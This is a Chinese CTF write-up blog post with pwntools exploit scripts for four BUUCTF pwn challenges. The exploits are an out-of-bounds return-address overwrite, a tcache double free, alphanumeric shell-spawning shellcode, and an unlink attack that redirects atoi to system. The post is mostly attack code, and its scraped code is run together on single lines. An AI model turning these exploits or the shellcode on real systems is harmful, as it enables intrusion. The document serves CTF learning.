PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25

    • wustctf2020_name_your_cat
    • ciscn_2019_final_2
    • mrctf2020_shellcode_revenge
    • zctf2016_note2

wustctf2020_name_your_cat

通过数组越界覆写返回地址为后门shell的地址

from pwn import *
#io=process('./wustctf2020_name_your_cat')
io=remote('node4.buuoj.cn',28864)
elf=ELF('./wustctf2020_name_your_cat')
shell=0x080485CBio.sendlineafter('Name for which?\n>','1')
io.sendlineafter('Give your name plz: ','a')io.sendlineafter('Name for which?\n>','2')
io.sendlineafter('Give your name plz: ','a')io.sendlineafter('Name for which?\n>','3')
io.sendlineafter('Give your name plz: ','a')io.sendlineafter('Name for which?\n>','4')
io.sendlineafter('Give your name plz: ','a')io.sendlineafter('Name for which?\n>','7')
io.sendlineafter('Give your name plz: ',p32(shell))io.interactive()

ciscn_2019_final_2

参考:ciscn_2019_final_2

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ciscn_final_2")
io=remote("node4.buuoj.cn",29994)
elf=ELF("./ciscn_final_2")
libc=ELF("./libc-2.27-18-x64.so")def add(num_type,num):io.sendlineafter("which command?\n> ","1")io.sendlineafter("TYPE:\n1: int\n2: short int\n>",str(num_type))io.sendlineafter("your inode number:",str(num))
def free(num_type):io.sendlineafter("which command?\n> ","2")io.sendlineafter("TYPE:\n1: int\n2: short int\n>",str(num_type))
def show(num_type):io.sendlineafter("which command?\n> ","3")io.sendlineafter("TYPE:\n1: int\n2: short int\n>",str(num_type))if num_type==1:io.recvuntil("your int type inode number :")elif num_type==2:io.recvuntil("your short type inode number :")return int(io.recvuntil("\n")[:-1])
def exit():io.sendlineafter("which command?\n> ","4")return io.recvall()#gdb.attach(io)
#pause()add(1,0x30)#0#pause()free(1) #0 out#pause()add(2,0x20)#1
add(2,0x20)#2
add(2,0x20)#3
add(2,0x20)#4#pause()free(2) #4 out#pause()add(1,0x30)#0, 因为上面的free(2)将bool置0,要构成double free需再add一次使bool置1#pause()free(2) #4 out, double free#pause()addr_chunk0_prev_size=show(2)-0xa0 #show(2)得到chunk4的fd,與chunk0的prev_size有着固定偏移0xa0
print("addr_chunk0_prev_size=="+hex(addr_chunk0_prev_size))
add(2,addr_chunk0_prev_size)#pause()add(2,addr_chunk0_prev_size)#pause()add(2,0x91) #chunk0的prev_size和size域的值均設為0x91#pause()for i in range(0,7): #绕过tcache机制free(1)add(2,0x20)
free(1) #再次free的时候进入unsorted bin#pause()main_arena=show(1)-96 #show(1)得到main_arena+96的值
print("main_arena=="+hex(main_arena))
libc_base=main_arena-0x10-libc.sym["__malloc_hook"]#main_arena與malloc_hook有着固定偏移0x10
print("libc_base=="+hex(libc_base))
stdin_fileno=libc_base+libc.sym["_IO_2_1_stdin_"]+0x70#加0x70,結構中的固定偏移
print("stdin_fileno=="+hex(stdin_fileno))#pause()add(1,stdin_fileno)#前面free(1)的時候,size為0x91,最後一個進入unsorted bin#這裡再次add的時候,因為只malloc(0x20),切割了0x91大小的chunk#pause()add(1,0x30)#pause()free(1)#pause()add(2,0x20)#pause()free(1) #double free#pause()addr_chunk0_fd=show(1)-0x30 # 得到chunk0的fd#pause()add(1,addr_chunk0_fd)#pause()add(1,addr_chunk0_fd)#pause()add(1,111)#pause()add(1,666) #這裡將stdin_fileno處的值改寫為666#pause()print(exit())io.interactive()

mrctf2020_shellcode_revenge

程序对输入字符ascii码的范围进行判断,大小写+数字
然后有条call rax,可以想到是可见字符shellcode

.text:0000000000001246                 lea     rax, [rbp+buf]
.text:000000000000124D                 call    rax

参考:纯字符shellcode生成指南
alpha3方法:
用重定向方法输出的shellcode文件不太成功,提取数据自行创建一个二进制文件可行

vim shellcode.py
##################################################################################################################
from pwn import *
context.arch="amd64"
shellcode=asm(shellcraft.sh())
shellcode_bin=""
print(shellcode)
for c in shellcode:tmp=hex(c).replace("0x","").zfill(2)shellcode_bin+=tmp+" "
print(shellcode_bin)
##################################################################################################################
python3 shellcode.py

运行完shellcode.py的结果
shellcode-bin
然后用winhex创建一个空文件,将上面得到的十六进制填充入该空文件,保存名为shellcode
在这里插入图片描述
后面就是参考博客里的做法

python2 ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
#打印出:
#Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
vim shellcode_exp.py
##################################################################################################################
# -*- coding:utf-8 -*-
from pwn import *
context.arch="amd64"
io=remote("node4.buuoj.cn",25235)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.recvuntil("Show me your magic!\n")
io.send(shellcode)#必须是send,不能是sendline
io.interactive()
##################################################################################################################
python3 shellcode_exp.py

AE64方法:

from pwn import *
from ae64 import AE64context.log_level = 'debug'
context.arch = 'amd64'#io = process('./example1')
io=remote('node4.buuoj.cn',25235)obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rax')io.recvuntil("Show me your magic!\n")
#io.sendline(sc) 
io.send(sc) # mush send, not sendlineio.interactive()

zctf2016_note2

unlink
参考1:2016 ZCTF note2 题解
参考2:zctf2016_note2

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./note2")
io=remote("node4.buuoj.cn",29630)
elf=ELF("./note2")
libc=ELF("./libc-2.23-16-x64.so")def add(note_len,content):io.sendlineafter("option--->>\n","1")io.sendlineafter("Input the length of the note content:(less than 128)\n",str(note_len))io.sendlineafter("Input the note content:\n",content)
def show(index):io.sendlineafter("option--->>\n","2")io.sendlineafter("Input the id of the note:\n",str(index))
def edit(index,choice,content):io.sendlineafter("option--->>\n","3")io.sendlineafter("Input the id of the note:\n",str(index))io.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]\n",str(choice))io.sendlineafter("TheNewContents:",content)
def free(index):io.sendlineafter("option--->>\n","4")io.sendlineafter("Input the id of the note:\n",str(index))
def exit():io.sendlineafter("option--->>\n","5")ptr=0x0000000000602120
fd=ptr-0x18
bk=ptr-0x10io.sendlineafter("Input your name:\n","P1umH0")
io.sendlineafter("Input your address:\n","P1umH0")#gdb.attach(io)
#pause()add(0x80,p64(0)+p64(0x80+0x21)+p64(fd)+p64(bk))#0
add(0x00,"aaaa")#1
add(0x80,"bbbb")#2#pause()free(1)#pause()payload="a"*0x10+p64(0xa0)+p64(0x90)
add(0x00,payload)#3#pause()free(2) #unlink *ptr=ptr-0x18#pause()payload="a"*0x18+p64(elf.got["atoi"])
edit(0,1,payload)#pause()show(0)
io.recvuntil("Content is ")
atoi_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("atoi_addr=="+hex(atoi_addr))
libc_base=atoi_addr-libc.sym["atoi"]
system=libc_base+libc.sym["system"]
edit(0,1,p64(system))#pause()io.sendlineafter("option--->>\n","/bin/sh\x00")io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438071.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新:博客新地址:https://www.itbob.cn/ 欢迎关注我的专栏:《个人博客搭建:HexoGithub Pages》,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列,窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

最新主流 Markdown 编辑器推荐

Markdown ,2004年由 John Gruberis 设计和开发,是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式,以下将介绍目前比较流行的一些 Markdown 编辑器(排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测,call rdx 跳转过去执行汇编代码,一个\x00必执行失败 于是需要找一条机…

敏捷开发之Scrum扫盲,及敏捷开发中XP与SCRUM的区别

敏捷开发之Scrum扫盲篇 现在敏捷开发是越来越火了,人人都在谈敏捷,人人都在学习Scrum和XP... 为了不落后他人,于是我也开始学习Scrum,今天主要是对我最近阅读的相关资料,根据自己的理解,用自己的话来讲述S…

有关不蒜子访问统计无法显示的解决方法

十月初,不蒜子统计失效了,如下图: 进入不蒜子官网看看: 问题来了,官网写着:因七牛强制过期『dn-lbstatics.qbox.me』域名,与客服沟通无果,只能更换域名到『busuanzi.ibruce.info』…

SCRUM与XP区别

敏捷开发 1、敏捷的含义 敏捷开发是一种以人为核心、迭代、增量的开发方法。在敏捷开发中,把一个大项目分为多个相互联系,可独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态。 上面提到3个关键词,下…

Java编写程序时出现警告:Resource leak: 'xxx' is never closed 解决方案

菜鸟新手,学校在教Java,作业里面要求我们编程实现运算一个简单的程序,程序写好了,却发现冒出一个警告,如下图: 百度了一下,意思是申明了名为a的数据输入扫描仪(Scanner&#xff09…

ASP.Net请求处理机制初步探索之旅 - Part 1 前奏

开篇:ASP.Net是一项动态网页开发技术,在历史发展的长河中WebForm曾一时成为了ASP.Net的代名词,而ASP.Net MVC的出现让这项技术更加唤发朝气。但是,不管是ASP.Net WebForm还是ASP.Net MVC在请求处理机制上大部分都是相同的&#xf…

ASP.Net请求处理机制初步探索之旅 - Part 2 核心

开篇:上一篇我们了解了一个请求从客户端发出到服务端接收并转到ASP.Net处理入口的过程,这篇我们开始探索ASP.Net的核心处理部分,借助强大的反编译工具,我们会看到几个熟悉又陌生的名词(类):Http…

REVERSE-COMPETITION-0xGame2021

REVERSE-COMPETITION-0xGame2021Signin: User FriendlyInstallerOur Compilation StoryPacketRandom ChaosNeverlandRoundaboutDespacitoSecret BaseMazeZero ThreeMirrorThread_TLS茶谈室JunkertownSignin: User Friendly 64位exe,ida打开,在main函数中…

ASP.Net请求处理机制初步探索之旅 - Part 3 管道

开篇:上一篇我们了解了一个ASP.Net页面请求的核心处理入口,它经历了三个重要的入口,分别是:ISAPIRuntime.ProcessRequest()、HttpRuntime.ProcessRequest()以及HttpApplication.Init()。其中,在HttpApplication的Init(…

PWN-COMPETITION-GeekChallenge2021

PWN-COMPETITION-GeekChallenge2021check in恋爱小游戏ret2xxone恋爱小游戏2.0easyfmteasycanaryret2babypwn777check in 66s内解答200道四则运算的题目即可getshell 参与运算的数和运算符都会打印,直接写脚本即可 # -*- coding:utf-8 -*- from pwn import * cont…

ASP.Net请求处理机制初步探索之旅 - Part 4 WebForm页面生命周期

开篇:上一篇我们了解了所谓的请求处理管道,在众多的事件中微软开放了19个重要的事件给我们,我们可以注入一些自定义的业务逻辑实现应用的个性化设计。本篇,我们来看看WebForm模式下的页面生命周期。 (1)Par…

REVERSE-COMPETITION-GeekChallenge2021

REVERSE-COMPETITION-GeekChallenge2021Re0刘壮桌面美化大师买ActivityRe1调试珍惜生命new_languageeasypycBrute_forcewin32wasm猜拳have_a_teaRe0 64位exe,ida打开,main函数中没发现什么重要的逻辑 ShiftF12打开字符串窗口,直接找到flag明…

ASP.Net请求处理机制初步探索之旅 - Part 5 ASP.Net MVC请求处理流程

开篇:上一篇我们了解了在WebForm模式下一个Page页面的生命周期,它经历了初始化Init、加载Load以及呈现Render三个重要阶段,其中构造了页面控件树,并对页面控件树进行了大量的递归操作,最后将与模板结合生成的HTML返回给…

REVERSE-PRACTICE-CTFSHOW-6

REVERSE-PRACTICE-CTFSHOW-6真的是签到批量生产的伪劣产品来一个派森snake真的是签到 附件是一个压缩包,解压需要密码,但是题目没有给到解压密码 实际上是压缩包伪加密,将如图橙色处原本的字节0x09改为0x00,保存后即可解压出文件…

REVERSE-PRACTICE-CTFSHOW-7

REVERSE-PRACTICE-CTFSHOW-7签层饼Tea_tube_poteasy贪吃蛇的秘密签层饼 32位exe,ida打开 main函数中,输入两个大于0的数字,如果flag_num为0,则将两个输入作为flag的一部分,打印flag 选中input_1按x查找交叉引用&…

HttpModule与HttpHandler详解(转)

ASP.NET对请求处理的过程: 当请求一个*.aspx文件的时候,这个请求会被inetinfo.exe进程截获,它判断文件的后缀(aspx)之后,将这个请求转交给 ASPNET_ISAPI.dll,ASPNET_ISAPI.dll会通过http管道&am…

Windows 系统中 Python下 Pygame 的安装

Pygame是跨平台Python模块,专为电子游戏设计,可用于管理图形、动画乃至声音,建立在SDL基础上,允许实时电子游戏研发而无需被低级语言(如机器语言和汇编语言)束缚,通过使用Pygame来处理在屏幕上绘…